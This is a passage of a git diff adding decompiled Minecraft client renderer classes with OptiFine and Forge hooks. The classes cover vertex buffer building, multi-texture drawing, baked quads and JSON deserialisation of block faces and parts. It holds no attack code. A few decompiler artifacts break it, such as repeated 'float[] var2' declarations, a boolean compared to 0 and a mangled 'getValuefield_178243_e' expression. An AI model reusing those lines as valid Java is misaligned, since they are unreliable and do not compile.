+    {
+      SVertexBuilder.endAddVertexData(this);
+    }
+  }
+  
+  public void addVertex(double p_178984_1_, double p_178984_3_, double p_178984_5_)
+  {
+    if (Config.isShaders())
+    {
+      SVertexBuilder.beginAddVertex(this);
+    }
+    
+    if (rawBufferIndex >= bufferSize - vertexFormat.func_177338_f())
+    {
+      growBuffer(2097152);
+    }
+    
+    List var7 = vertexFormat.func_177343_g();
+    int listSize = var7.size();
+    
+    for (int i = 0; i < listSize; i++)
+    {
+      VertexFormatElement var9 = (VertexFormatElement)var7.get(i);
+      int var10 = var9.func_177373_a() >> 2;
+      int var11 = rawBufferIndex + var10;
+      
+      switch (SwitchEnumUseage.field_178959_a[var9.func_177375_c().ordinal()])
+      {
+      case 1: 
+        rawIntBuffer.put(var11, Float.floatToRawIntBits((float)(p_178984_1_ + xOffset)));
+        rawIntBuffer.put(var11 + 1, Float.floatToRawIntBits((float)(p_178984_3_ + yOffset)));
+        rawIntBuffer.put(var11 + 2, Float.floatToRawIntBits((float)(p_178984_5_ + zOffset)));
+        break;
+      
+      case 2: 
+        rawIntBuffer.put(var11, field_179007_h);
+        break;
+      
+      case 3: 
+        if (var9.func_177369_e() == 0)
+        {
+          rawIntBuffer.put(var11, Float.floatToRawIntBits((float)field_178998_e));
+          rawIntBuffer.put(var11 + 1, Float.floatToRawIntBits((float)field_178995_f));
+        }
+        else
+        {
+          rawIntBuffer.put(var11, field_178996_g);
+        }
+        
+        break;
+      
+      case 4: 
+        rawIntBuffer.put(var11, field_179003_o);
+      }
+      
+    }
+    rawBufferIndex += (vertexFormat.func_177338_f() >> 2);
+    vertexCount += 1;
+    
+    if (Config.isShaders())
+    {
+      SVertexBuilder.endAddVertex(this);
+    }
+  }
+  
+  public void func_178991_c(int p_178991_1_)
+  {
+    int var2 = p_178991_1_ >> 16 & 0xFF;
+    int var3 = p_178991_1_ >> 8 & 0xFF;
+    int var4 = p_178991_1_ & 0xFF;
+    setPosition(var2, var3, var4);
+  }
+  
+  public void func_178974_a(int p_178974_1_, int p_178974_2_)
+  {
+    int var3 = p_178974_1_ >> 16 & 0xFF;
+    int var4 = p_178974_1_ >> 8 & 0xFF;
+    int var5 = p_178974_1_ & 0xFF;
+    func_178961_b(var3, var4, var5, p_178974_2_);
+  }
+  
+
+
+
+  public void markDirty()
+  {
+    needsUpdate = true;
+  }
+  
+  public void func_178980_d(float p_178980_1_, float p_178980_2_, float p_178980_3_)
+  {
+    if (!vertexFormat.func_177350_b())
+    {
+      VertexFormatElement var7 = new VertexFormatElement(0, VertexFormatElement.EnumType.BYTE, VertexFormatElement.EnumUseage.NORMAL, 3);
+      vertexFormat.func_177349_a(var7);
+      vertexFormat.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.UBYTE, VertexFormatElement.EnumUseage.PADDING, 1));
+    }
+    
+    byte var71 = (byte)(int)(p_178980_1_ * 127.0F);
+    byte var5 = (byte)(int)(p_178980_2_ * 127.0F);
+    byte var6 = (byte)(int)(p_178980_3_ * 127.0F);
+    field_179003_o = (var71 & 0xFF | (var5 & 0xFF) << 8 | (var6 & 0xFF) << 16);
+  }
+  
+  public void func_178975_e(float p_178975_1_, float p_178975_2_, float p_178975_3_)
+  {
+    byte var4 = (byte)(int)(p_178975_1_ * 127.0F);
+    byte var5 = (byte)(int)(p_178975_2_ * 127.0F);
+    byte var6 = (byte)(int)(p_178975_3_ * 127.0F);
+    int var7 = vertexFormat.func_177338_f() >> 2;
+    int var8 = (vertexCount - 4) * var7 + vertexFormat.func_177342_c() / 4;
+    field_179003_o = (var4 & 0xFF | (var5 & 0xFF) << 8 | (var6 & 0xFF) << 16);
+    rawIntBuffer.put(var8, field_179003_o);
+    rawIntBuffer.put(var8 + var7, field_179003_o);
+    rawIntBuffer.put(var8 + var7 * 2, field_179003_o);
+    rawIntBuffer.put(var8 + var7 * 3, field_179003_o);
+  }
+  
+  public void setTranslation(double p_178969_1_, double p_178969_3_, double p_178969_5_)
+  {
+    xOffset = p_178969_1_;
+    yOffset = p_178969_3_;
+    zOffset = p_178969_5_;
+  }
+  
+  public int draw()
+  {
+    if (!isDrawing)
+    {
+      throw new IllegalStateException("Not building!");
+    }
+    
+
+    isDrawing = false;
+    
+    if (vertexCount > 0)
+    {
+      byteBuffer.position(0);
+      byteBuffer.limit(rawBufferIndex * 4);
+    }
+    
+    field_179012_p = (rawBufferIndex * 4);
+    return field_179012_p;
+  }
+  
+
+  public int func_178976_e()
+  {
+    return field_179012_p;
+  }
+  
+  public ByteBuffer func_178966_f()
+  {
+    return byteBuffer;
+  }
+  
+  public VertexFormat func_178973_g()
+  {
+    return vertexFormat;
+  }
+  
+  public int func_178989_h()
+  {
+    return vertexCount;
+  }
+  
+  public int getDrawMode()
+  {
+    return drawMode;
+  }
+  
+  public void func_178968_d(int p_178968_1_)
+  {
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      func_178988_b(p_178968_1_, var2 + 1);
+    }
+  }
+  
+  public void func_178990_f(float p_178990_1_, float p_178990_2_, float p_178990_3_)
+  {
+    for (int var4 = 0; var4 < 4; var4++)
+    {
+      func_178994_b(p_178990_1_, p_178990_2_, p_178990_3_, var4 + 1);
+    }
+  }
+  
+  public void putSprite(TextureAtlasSprite sprite)
+  {
+    if (quadSprites != null)
+    {
+      int countQuads = vertexCount / 4;
+      quadSprites[(countQuads - 1)] = sprite;
+    }
+  }
+  
+  public void setSprite(TextureAtlasSprite sprite)
+  {
+    if (quadSprites != null)
+    {
+      quadSprite = sprite;
+    }
+  }
+  
+  public boolean isMultiTexture()
+  {
+    return quadSprites != null;
+  }
+  
+  public void drawMultiTexture()
+  {
+    if (quadSprites != null)
+    {
+      int maxTextureIndex = Config.getMinecraft().getTextureMapBlocks().getCountRegisteredSprites();
+      
+      if (drawnIcons.length <= maxTextureIndex)
+      {
+        drawnIcons = new boolean[maxTextureIndex + 1];
+      }
+      
+      Arrays.fill(drawnIcons, false);
+      int texSwitch = 0;
+      int grassOverlayIndex = -1;
+      int countQuads = vertexCount / 4;
+      
+      for (int i = 0; i < countQuads; i++)
+      {
+        TextureAtlasSprite icon = quadSprites[i];
+        
+        if (icon != null)
+        {
+          int iconIndex = icon.getIndexInMap();
+          
+          if (drawnIcons[iconIndex] == 0)
+          {
+            if (icon == TextureUtils.iconGrassSideOverlay)
+            {
+              if (grassOverlayIndex < 0)
+              {
+                grassOverlayIndex = i;
+              }
+            }
+            else
+            {
+              i = drawForIcon(icon, i) - 1;
+              texSwitch++;
+              
+              if (blockLayer != EnumWorldBlockLayer.TRANSLUCENT)
+              {
+                drawnIcons[iconIndex] = true;
+              }
+            }
+          }
+        }
+      }
+      
+      if (grassOverlayIndex >= 0)
+      {
+        drawForIcon(TextureUtils.iconGrassSideOverlay, grassOverlayIndex);
+        texSwitch++;
+      }
+      
+      if (texSwitch <= 0) {}
+    }
+  }
+  
+
+
+
+  private int drawForIcon(TextureAtlasSprite sprite, int startQuadPos)
+  {
+    GL11.glBindTexture(3553, glSpriteTextureId);
+    int firstRegionEnd = -1;
+    int lastPos = -1;
+    int countQuads = vertexCount / 4;
+    
+    for (int i = startQuadPos; i < countQuads; i++)
+    {
+      TextureAtlasSprite ts = quadSprites[i];
+      
+      if (ts == sprite)
+      {
+        if (lastPos < 0)
+        {
+          lastPos = i;
+        }
+      }
+      else if (lastPos >= 0)
+      {
+        draw(lastPos, i);
+        
+        if (blockLayer == EnumWorldBlockLayer.TRANSLUCENT)
+        {
+          return i;
+        }
+        
+        lastPos = -1;
+        
+        if (firstRegionEnd < 0)
+        {
+          firstRegionEnd = i;
+        }
+      }
+    }
+    
+    if (lastPos >= 0)
+    {
+      draw(lastPos, countQuads);
+    }
+    
+    if (firstRegionEnd < 0)
+    {
+      firstRegionEnd = countQuads;
+    }
+    
+    return firstRegionEnd;
+  }
+  
+  private void draw(int startQuadVertex, int endQuadVertex)
+  {
+    int vxQuadCount = endQuadVertex - startQuadVertex;
+    
+    if (vxQuadCount > 0)
+    {
+      int startVertex = startQuadVertex * 4;
+      int vxCount = vxQuadCount * 4;
+      GL11.glDrawArrays(drawMode, startVertex, vxCount);
+    }
+  }
+  
+  public void setBlockLayer(EnumWorldBlockLayer blockLayer)
+  {
+    this.blockLayer = blockLayer;
+    
+    if (blockLayer == null)
+    {
+      if (quadSprites != null)
+      {
+        quadSpritesPrev = quadSprites;
+      }
+      
+      quadSprites = null;
+      quadSprite = null;
+    }
+  }
+  
+  private int getBufferQuadSize()
+  {
+    int quadSize = rawIntBuffer.capacity() * 4 / (vertexFormat.func_177338_f() * 4);
+    return quadSize;
+  }
+  
+  public void checkAndGrow()
+  {
+    if (rawBufferIndex >= bufferSize - vertexFormat.func_177338_f())
+    {
+      growBuffer(2097152);
+    }
+  }
+  
+  public boolean isColorDisabled()
+  {
+    return needsUpdate;
+  }
+  
+  public class State
+  {
+    private final int[] field_179019_b;
+    private final int field_179020_c;
+    private final int field_179017_d;
+    private final VertexFormat field_179018_e;
+    private static final String __OBFID = "CL_00002568";
+    public TextureAtlasSprite[] stateQuadSprites;
+    
+    public State(int[] buf, int bufIndex, int vertCount, VertexFormat vertFormat, TextureAtlasSprite[] quadSprites)
+    {
+      field_179019_b = buf;
+      field_179020_c = bufIndex;
+      field_179017_d = vertCount;
+      field_179018_e = vertFormat;
+      stateQuadSprites = quadSprites;
+    }
+    
+    public State(int[] p_i46274_2_, int p_i46274_3_, int p_i46274_4_, VertexFormat p_i46274_5_)
+    {
+      field_179019_b = p_i46274_2_;
+      field_179020_c = p_i46274_3_;
+      field_179017_d = p_i46274_4_;
+      field_179018_e = p_i46274_5_;
+    }
+    
+    public int[] func_179013_a()
+    {
+      return field_179019_b;
+    }
+    
+    public int getRawBufferIndex()
+    {
+      return field_179020_c;
+    }
+    
+    public int getVertexCount()
+    {
+      return field_179017_d;
+    }
+    
+    public VertexFormat func_179016_d()
+    {
+      return field_179018_e;
+    }
+  }
+  
+  static final class SwitchEnumUseage
+  {
+    static final int[] field_178959_a = new int[VertexFormatElement.EnumUseage.values().length];
+    
+    static
+    {
+      try
+      {
+        field_178959_a[VertexFormatElement.EnumUseage.POSITION.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178959_a[VertexFormatElement.EnumUseage.COLOR.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178959_a[VertexFormatElement.EnumUseage.UV.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178959_a[VertexFormatElement.EnumUseage.NORMAL.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumUseage() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/WorldVertexBufferUploader.java b/src/minecraft/net/minecraft/client/renderer/WorldVertexBufferUploader.java
new file mode 100644
index 0000000..14b2223
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/WorldVertexBufferUploader.java
@@ -0,0 +1,174 @@
+package net.minecraft.client.renderer;
+
+import java.nio.ByteBuffer;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.client.renderer.vertex.VertexFormatElement;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+import org.lwjgl.opengl.GL11;
+
+public class WorldVertexBufferUploader
+{
+  public WorldVertexBufferUploader() {}
+  
+  public int draw(WorldRenderer p_178177_1_, int p_178177_2_)
+  {
+    if (p_178177_2_ > 0)
+    {
+      VertexFormat var3 = p_178177_1_.func_178973_g();
+      int var4 = var3.func_177338_f();
+      ByteBuffer var5 = p_178177_1_.func_178966_f();
+      List var6 = var3.func_177343_g();
+      Iterator var7 = var6.iterator();
+      boolean forgePreDrawExists = Reflector.ForgeVertexFormatElementEnumUseage_preDraw.exists();
+      boolean forgePostDrawExists = Reflector.ForgeVertexFormatElementEnumUseage_postDraw.exists();
+      
+
+
+
+      while (var7.hasNext())
+      {
+        VertexFormatElement var8 = (VertexFormatElement)var7.next();
+        VertexFormatElement.EnumUseage var9 = var8.func_177375_c();
+        
+        if (forgePreDrawExists)
+        {
+          Reflector.callVoid(var9, Reflector.ForgeVertexFormatElementEnumUseage_preDraw, new Object[] { var8, Integer.valueOf(var4), var5 });
+        }
+        else
+        {
+          int var10 = var8.func_177367_b().func_177397_c();
+          int wr = var8.func_177369_e();
+          
+          switch (SwitchEnumUseage.field_178958_a[var9.ordinal()])
+          {
+          case 1: 
+            var5.position(var8.func_177373_a());
+            GL11.glVertexPointer(var8.func_177370_d(), var10, var4, var5);
+            GL11.glEnableClientState(32884);
+            break;
+          
+          case 2: 
+            var5.position(var8.func_177373_a());
+            OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit + wr);
+            GL11.glTexCoordPointer(var8.func_177370_d(), var10, var4, var5);
+            GL11.glEnableClientState(32888);
+            OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+            break;
+          
+          case 3: 
+            var5.position(var8.func_177373_a());
+            GL11.glColorPointer(var8.func_177370_d(), var10, var4, var5);
+            GL11.glEnableClientState(32886);
+            break;
+          
+          case 4: 
+            var5.position(var8.func_177373_a());
+            GL11.glNormalPointer(var10, var4, var5);
+            GL11.glEnableClientState(32885);
+          }
+          
+        }
+      }
+      if (p_178177_1_.isMultiTexture())
+      {
+        p_178177_1_.drawMultiTexture();
+      }
+      else if (optifine.Config.isShaders())
+      {
+        shadersmod.client.SVertexBuilder.drawArrays(p_178177_1_.getDrawMode(), 0, p_178177_1_.func_178989_h(), p_178177_1_);
+      }
+      else
+      {
+        GL11.glDrawArrays(p_178177_1_.getDrawMode(), 0, p_178177_1_.func_178989_h());
+      }
+      
+      var7 = var6.iterator();
+      
+      while (var7.hasNext())
+      {
+        VertexFormatElement var8 = (VertexFormatElement)var7.next();
+        VertexFormatElement.EnumUseage var9 = var8.func_177375_c();
+        
+        if (forgePostDrawExists)
+        {
+          Reflector.callVoid(var9, Reflector.ForgeVertexFormatElementEnumUseage_postDraw, new Object[] { var8, Integer.valueOf(var4), var5 });
+        }
+        else
+        {
+          int var10 = var8.func_177369_e();
+          
+          switch (SwitchEnumUseage.field_178958_a[var9.ordinal()])
+          {
+          case 1: 
+            GL11.glDisableClientState(32884);
+            break;
+          
+          case 2: 
+            OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit + var10);
+            GL11.glDisableClientState(32888);
+            OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+            break;
+          
+          case 3: 
+            GL11.glDisableClientState(32886);
+            GlStateManager.func_179117_G();
+            break;
+          
+          case 4: 
+            GL11.glDisableClientState(32885);
+          }
+          
+        }
+      }
+    }
+    p_178177_1_.reset();
+    return p_178177_2_;
+  }
+  
+  static final class SwitchEnumUseage
+  {
+    static final int[] field_178958_a = new int[VertexFormatElement.EnumUseage.values().length];
+    
+    static
+    {
+      try
+      {
+        field_178958_a[VertexFormatElement.EnumUseage.POSITION.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178958_a[VertexFormatElement.EnumUseage.UV.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178958_a[VertexFormatElement.EnumUseage.COLOR.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178958_a[VertexFormatElement.EnumUseage.NORMAL.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumUseage() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BakedQuad.java b/src/minecraft/net/minecraft/client/renderer/block/model/BakedQuad.java
new file mode 100644
index 0000000..fe0a4fe
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BakedQuad.java
@@ -0,0 +1,176 @@
+package net.minecraft.client.renderer.block.model;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.util.EnumFacing;
+import net.minecraftforge.client.model.pipeline.IVertexConsumer;
+import optifine.Config;
+import optifine.Reflector;
+
+public class BakedQuad implements net.minecraftforge.client.model.pipeline.IVertexProducer
+{
+  protected int[] field_178215_a;
+  protected final int field_178213_b;
+  protected final EnumFacing face;
+  private static final String __OBFID = "CL_00002512";
+  private TextureAtlasSprite sprite = null;
+  private int[] vertexDataSingle = null;
+  
+  public BakedQuad(int[] p_i46232_1_, int p_i46232_2_, EnumFacing p_i46232_3_, TextureAtlasSprite sprite)
+  {
+    field_178215_a = p_i46232_1_;
+    field_178213_b = p_i46232_2_;
+    face = p_i46232_3_;
+    this.sprite = sprite;
+    fixVertexData();
+  }
+  
+  public TextureAtlasSprite getSprite()
+  {
+    if (sprite == null)
+    {
+      sprite = getSpriteByUv(func_178209_a());
+    }
+    
+    return sprite;
+  }
+  
+  public String toString()
+  {
+    return "vertex: " + field_178215_a.length / 7 + ", tint: " + field_178213_b + ", facing: " + face + ", sprite: " + sprite;
+  }
+  
+  public BakedQuad(int[] p_i46232_1_, int p_i46232_2_, EnumFacing p_i46232_3_)
+  {
+    field_178215_a = p_i46232_1_;
+    field_178213_b = p_i46232_2_;
+    face = p_i46232_3_;
+    fixVertexData();
+  }
+  
+  public int[] func_178209_a()
+  {
+    fixVertexData();
+    return field_178215_a;
+  }
+  
+  public boolean func_178212_b()
+  {
+    return field_178213_b != -1;
+  }
+  
+  public int func_178211_c()
+  {
+    return field_178213_b;
+  }
+  
+  public EnumFacing getFace()
+  {
+    return face;
+  }
+  
+  public int[] getVertexDataSingle()
+  {
+    if (vertexDataSingle == null)
+    {
+      vertexDataSingle = makeVertexDataSingle(func_178209_a(), getSprite());
+    }
+    
+    return vertexDataSingle;
+  }
+  
+  private static int[] makeVertexDataSingle(int[] vd, TextureAtlasSprite sprite)
+  {
+    int[] vdSingle = (int[])vd.clone();
+    int ku = sheetWidth / sprite.getIconWidth();
+    int kv = sheetHeight / sprite.getIconHeight();
+    int step = vdSingle.length / 4;
+    
+    for (int i = 0; i < 4; i++)
+    {
+      int pos = i * step;
+      float tu = Float.intBitsToFloat(vdSingle[(pos + 4)]);
+      float tv = Float.intBitsToFloat(vdSingle[(pos + 4 + 1)]);
+      float u = sprite.toSingleU(tu);
+      float v = sprite.toSingleV(tv);
+      vdSingle[(pos + 4)] = Float.floatToRawIntBits(u);
+      vdSingle[(pos + 4 + 1)] = Float.floatToRawIntBits(v);
+    }
+    
+    return vdSingle;
+  }
+  
+  public void pipe(IVertexConsumer consumer)
+  {
+    Reflector.callVoid(Reflector.LightUtil_putBakedQuad, new Object[] { consumer, this });
+  }
+  
+  private static TextureAtlasSprite getSpriteByUv(int[] vertexData)
+  {
+    float uMin = 1.0F;
+    float vMin = 1.0F;
+    float uMax = 0.0F;
+    float vMax = 0.0F;
+    int step = vertexData.length / 4;
+    
+    for (int uMid = 0; uMid < 4; uMid++)
+    {
+      int vMid = uMid * step;
+      float spriteUv = Float.intBitsToFloat(vertexData[(vMid + 4)]);
+      float tv = Float.intBitsToFloat(vertexData[(vMid + 4 + 1)]);
+      uMin = Math.min(uMin, spriteUv);
+      vMin = Math.min(vMin, tv);
+      uMax = Math.max(uMax, spriteUv);
+      vMax = Math.max(vMax, tv);
+    }
+    
+    float var10 = (uMin + uMax) / 2.0F;
+    float var11 = (vMin + vMax) / 2.0F;
+    TextureAtlasSprite var12 = Minecraft.getMinecraft().getTextureMapBlocks().getIconByUV(var10, var11);
+    return var12;
+  }
+  
+  private void fixVertexData()
+  {
+    if (Config.isShaders())
+    {
+      if (field_178215_a.length == 28)
+      {
+        field_178215_a = expandVertexData(field_178215_a);
+      }
+    }
+    else if (field_178215_a.length == 56)
+    {
+      field_178215_a = compactVertexData(field_178215_a);
+    }
+  }
+  
+  private static int[] expandVertexData(int[] vd)
+  {
+    int step = vd.length / 4;
+    int stepNew = step * 2;
+    int[] vdNew = new int[stepNew * 4];
+    
+    for (int i = 0; i < 4; i++)
+    {
+      System.arraycopy(vd, i * step, vdNew, i * stepNew, step);
+    }
+    
+    return vdNew;
+  }
+  
+  private static int[] compactVertexData(int[] vd)
+  {
+    int step = vd.length / 4;
+    int stepNew = step / 2;
+    int[] vdNew = new int[stepNew * 4];
+    
+    for (int i = 0; i < 4; i++)
+    {
+      System.arraycopy(vd, i * step, vdNew, i * stepNew, stepNew);
+    }
+    
+    return vdNew;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BlockFaceUV.java b/src/minecraft/net/minecraft/client/renderer/block/model/BlockFaceUV.java
new file mode 100644
index 0000000..814bf01
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BlockFaceUV.java
@@ -0,0 +1,127 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.lang.reflect.Type;
+import net.minecraft.util.JsonUtils;
+
+public class BlockFaceUV
+{
+  public float[] field_178351_a;
+  public final int field_178350_b;
+  private static final String __OBFID = "CL_00002505";
+  
+  public BlockFaceUV(float[] p_i46228_1_, int p_i46228_2_)
+  {
+    field_178351_a = p_i46228_1_;
+    field_178350_b = p_i46228_2_;
+  }
+  
+  public float func_178348_a(int p_178348_1_)
+  {
+    if (field_178351_a == null)
+    {
+      throw new NullPointerException("uvs");
+    }
+    
+
+    int var2 = func_178347_d(p_178348_1_);
+    return (var2 != 0) && (var2 != 1) ? field_178351_a[2] : field_178351_a[0];
+  }
+  
+
+  public float func_178346_b(int p_178346_1_)
+  {
+    if (field_178351_a == null)
+    {
+      throw new NullPointerException("uvs");
+    }
+    
+
+    int var2 = func_178347_d(p_178346_1_);
+    return (var2 != 0) && (var2 != 3) ? field_178351_a[3] : field_178351_a[1];
+  }
+  
+
+  private int func_178347_d(int p_178347_1_)
+  {
+    return (p_178347_1_ + field_178350_b / 90) % 4;
+  }
+  
+  public int func_178345_c(int p_178345_1_)
+  {
+    return (p_178345_1_ + (4 - field_178350_b / 90)) % 4;
+  }
+  
+  public void func_178349_a(float[] p_178349_1_)
+  {
+    if (field_178351_a == null)
+    {
+      field_178351_a = p_178349_1_;
+    }
+  }
+  
+  static class Deserializer implements JsonDeserializer {
+    private static final String __OBFID = "CL_00002504";
+    
+    Deserializer() {}
+    
+    public BlockFaceUV func_178293_a(JsonElement p_178293_1_, Type p_178293_2_, JsonDeserializationContext p_178293_3_) {
+      JsonObject var4 = p_178293_1_.getAsJsonObject();
+      float[] var5 = func_178292_b(var4);
+      int var6 = func_178291_a(var4);
+      return new BlockFaceUV(var5, var6);
+    }
+    
+    protected int func_178291_a(JsonObject p_178291_1_)
+    {
+      int var2 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(p_178291_1_, "rotation", 0);
+      
+      if ((var2 >= 0) && (var2 % 90 == 0) && (var2 / 90 <= 3))
+      {
+        return var2;
+      }
+      
+
+      throw new JsonParseException("Invalid rotation " + var2 + " found, only 0/90/180/270 allowed");
+    }
+    
+
+    private float[] func_178292_b(JsonObject p_178292_1_)
+    {
+      if (!p_178292_1_.has("uv"))
+      {
+        return null;
+      }
+      
+
+      JsonArray var2 = JsonUtils.getJsonObjectJsonArrayField(p_178292_1_, "uv");
+      
+      if (var2.size() != 4)
+      {
+        throw new JsonParseException("Expected 4 uv values, found: " + var2.size());
+      }
+      
+
+      float[] var3 = new float[4];
+      
+      for (int var4 = 0; var4 < var3.length; var4++)
+      {
+        var3[var4] = JsonUtils.getJsonElementFloatValue(var2.get(var4), "uv[" + var4 + "]");
+      }
+      
+      return var3;
+    }
+    
+
+
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178293_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BlockPart.java b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPart.java
new file mode 100644
index 0000000..bc76a64
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPart.java
@@ -0,0 +1,306 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.lang.reflect.Type;
+import java.util.EnumMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.vecmath.Vector3f;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.MathHelper;
+
+public class BlockPart
+{
+  public final Vector3f field_178241_a;
+  public final Vector3f field_178239_b;
+  public final Map field_178240_c;
+  public final BlockPartRotation field_178237_d;
+  public final boolean field_178238_e;
+  private static final String __OBFID = "CL_00002511";
+  
+  public BlockPart(Vector3f p_i46231_1_, Vector3f p_i46231_2_, Map p_i46231_3_, BlockPartRotation p_i46231_4_, boolean p_i46231_5_)
+  {
+    field_178241_a = p_i46231_1_;
+    field_178239_b = p_i46231_2_;
+    field_178240_c = p_i46231_3_;
+    field_178237_d = p_i46231_4_;
+    field_178238_e = p_i46231_5_;
+    func_178235_a();
+  }
+  
+  private void func_178235_a()
+  {
+    Iterator var1 = field_178240_c.entrySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Map.Entry var2 = (Map.Entry)var1.next();
+      float[] var3 = func_178236_a((EnumFacing)var2.getKey());
+      getValuefield_178243_e.func_178349_a(var3);
+    }
+  }
+  
+  private float[] func_178236_a(EnumFacing p_178236_1_) {
+    float[] var2;
+    float[] var2;
+    float[] var2;
+    switch (SwitchEnumFacing.field_178234_a[p_178236_1_.ordinal()])
+    {
+    case 1: 
+    case 2: 
+      var2 = new float[] { field_178241_a.x, field_178241_a.z, field_178239_b.x, field_178239_b.z };
+      break;
+    case 3: 
+    case 4: 
+      var2 = new float[] { field_178241_a.x, 16.0F - field_178239_b.y, field_178239_b.x, 16.0F - field_178241_a.y };
+      break;
+    case 5: 
+    case 6: 
+      var2 = new float[] { field_178241_a.z, 16.0F - field_178239_b.y, field_178239_b.z, 16.0F - field_178241_a.y };
+      break;
+    default: 
+      throw new NullPointerException();
+    }
+    float[] var2;
+    return var2;
+  }
+  
+  static class Deserializer implements com.google.gson.JsonDeserializer {
+    private static final String __OBFID = "CL_00002509";
+    
+    Deserializer() {}
+    
+    public BlockPart func_178254_a(JsonElement p_178254_1_, Type p_178254_2_, JsonDeserializationContext p_178254_3_) {
+      JsonObject var4 = p_178254_1_.getAsJsonObject();
+      Vector3f var5 = func_178249_e(var4);
+      Vector3f var6 = func_178247_d(var4);
+      BlockPartRotation var7 = func_178256_a(var4);
+      Map var8 = func_178250_a(p_178254_3_, var4);
+      
+      if ((var4.has("shade")) && (!JsonUtils.func_180199_c(var4, "shade")))
+      {
+        throw new JsonParseException("Expected shade to be a Boolean");
+      }
+      
+
+      boolean var9 = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "shade", true);
+      return new BlockPart(var5, var6, var8, var7, var9);
+    }
+    
+
+    private BlockPartRotation func_178256_a(JsonObject p_178256_1_)
+    {
+      BlockPartRotation var2 = null;
+      
+      if (p_178256_1_.has("rotation"))
+      {
+        JsonObject var3 = JsonUtils.getJsonObject(p_178256_1_, "rotation");
+        Vector3f var4 = func_178251_a(var3, "origin");
+        var4.scale(0.0625F);
+        EnumFacing.Axis var5 = func_178252_c(var3);
+        float var6 = func_178255_b(var3);
+        boolean var7 = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var3, "rescale", false);
+        var2 = new BlockPartRotation(var4, var5, var6, var7);
+      }
+      
+      return var2;
+    }
+    
+    private float func_178255_b(JsonObject p_178255_1_)
+    {
+      float var2 = JsonUtils.getJsonObjectFloatFieldValue(p_178255_1_, "angle");
+      
+      if ((var2 != 0.0F) && (MathHelper.abs(var2) != 22.5F) && (MathHelper.abs(var2) != 45.0F))
+      {
+        throw new JsonParseException("Invalid rotation " + var2 + " found, only -45/-22.5/0/22.5/45 allowed");
+      }
+      
+
+      return var2;
+    }
+    
+
+    private EnumFacing.Axis func_178252_c(JsonObject p_178252_1_)
+    {
+      String var2 = JsonUtils.getJsonObjectStringFieldValue(p_178252_1_, "axis");
+      EnumFacing.Axis var3 = EnumFacing.Axis.byName(var2.toLowerCase());
+      
+      if (var3 == null)
+      {
+        throw new JsonParseException("Invalid rotation axis: " + var2);
+      }
+      
+
+      return var3;
+    }
+    
+
+    private Map func_178250_a(JsonDeserializationContext p_178250_1_, JsonObject p_178250_2_)
+    {
+      Map var3 = func_178253_b(p_178250_1_, p_178250_2_);
+      
+      if (var3.isEmpty())
+      {
+        throw new JsonParseException("Expected between 1 and 6 unique faces, got 0");
+      }
+      
+
+      return var3;
+    }
+    
+
+    private Map func_178253_b(JsonDeserializationContext p_178253_1_, JsonObject p_178253_2_)
+    {
+      EnumMap var3 = com.google.common.collect.Maps.newEnumMap(EnumFacing.class);
+      JsonObject var4 = JsonUtils.getJsonObject(p_178253_2_, "faces");
